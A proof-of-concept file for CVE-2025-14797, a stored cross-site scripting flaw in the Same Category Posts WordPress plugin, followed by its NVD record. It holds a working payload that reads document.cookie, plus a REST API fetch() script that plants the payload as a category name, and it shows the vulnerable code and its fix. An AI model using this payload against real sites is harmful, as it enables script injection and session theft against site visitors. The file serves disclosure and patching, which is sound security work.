CVE-2025-14797

<!-- CVE-2025-14797 PoC: Stored XSS via Category Term Name --> <!-- Authenticated as Author or higher role --> <!-- Method 1: Via WordPress Admin UI --> <!-- 1. Go to Posts > Categories --> <!-- 2. Add new category with name: <img src=x onerror=alert(document.cookie)> --> <!-- 3. Visit any page that displays posts from this category --> <!-- Method 2: Via REST API --> <script> // Create category with XSS payload fetch('/wp-json/wp/v2/categories', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce }, body: JSON.stringify({ name: '<img src=x onerror=alert(document.cookie)>', description: 'Malicious category for CVE-2025-14797' }) }) .then(response => response.json()) .then(data => console.log('Category created:', data)) .catch(error => console.error('Error:', error)); </script> <!-- Vulnerable Code Pattern (same-category-posts.php): --> <!-- BEFORE (Vulnerable): --> <!-- $term_name = htmlspecialchars_decode($term->name); --> <!-- echo $term_name; --> <!-- AFTER (Fixed): --> <!-- $term_name = esc_html($term->name); --> <!-- echo $term_name; --> <!-- OR use: wp_kses_post($term->name) -->

{"cve": {"id": "CVE-2025-14797", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:05.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Same Category Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the widget title placeholder functionality in all versions up to, and including, 1.1.19. This is due to the use of `htmlspecialchars_decode()` on taxonomy term names before output, which decodes HTML entities that WordPress intentionally encodes for safety. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Same Category Posts para WordPress es vulnerable a cross-site scripting almacenado a través de la funcionalidad de marcador de posición del título del widget en todas las versiones hasta la 1.1.19, inclusive. Esto se debe al uso de 'htmlspecialchars_decode()' en los nombres de los términos de taxonomía antes de la salida, lo que decodifica entidades HTML que WordPress codifica intencionalmente por seguridad. Esto hace posible que atacantes autenticados, con acceso de nivel de Autor y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/same-category-posts/tags/1.1.19/same-category-posts.php#L639", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/same-category-posts/tags/1.1.19/same-category-posts.php#L665", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/same-category-posts/tags/1.1.19/same-category-posts.php#L707", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3444428%40same-category-posts&new=3444428%40same-category-posts&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/70434876-4876-4da8-9af1-6f6ef5632f26?source=cve", "source": "[email protected]"}]}}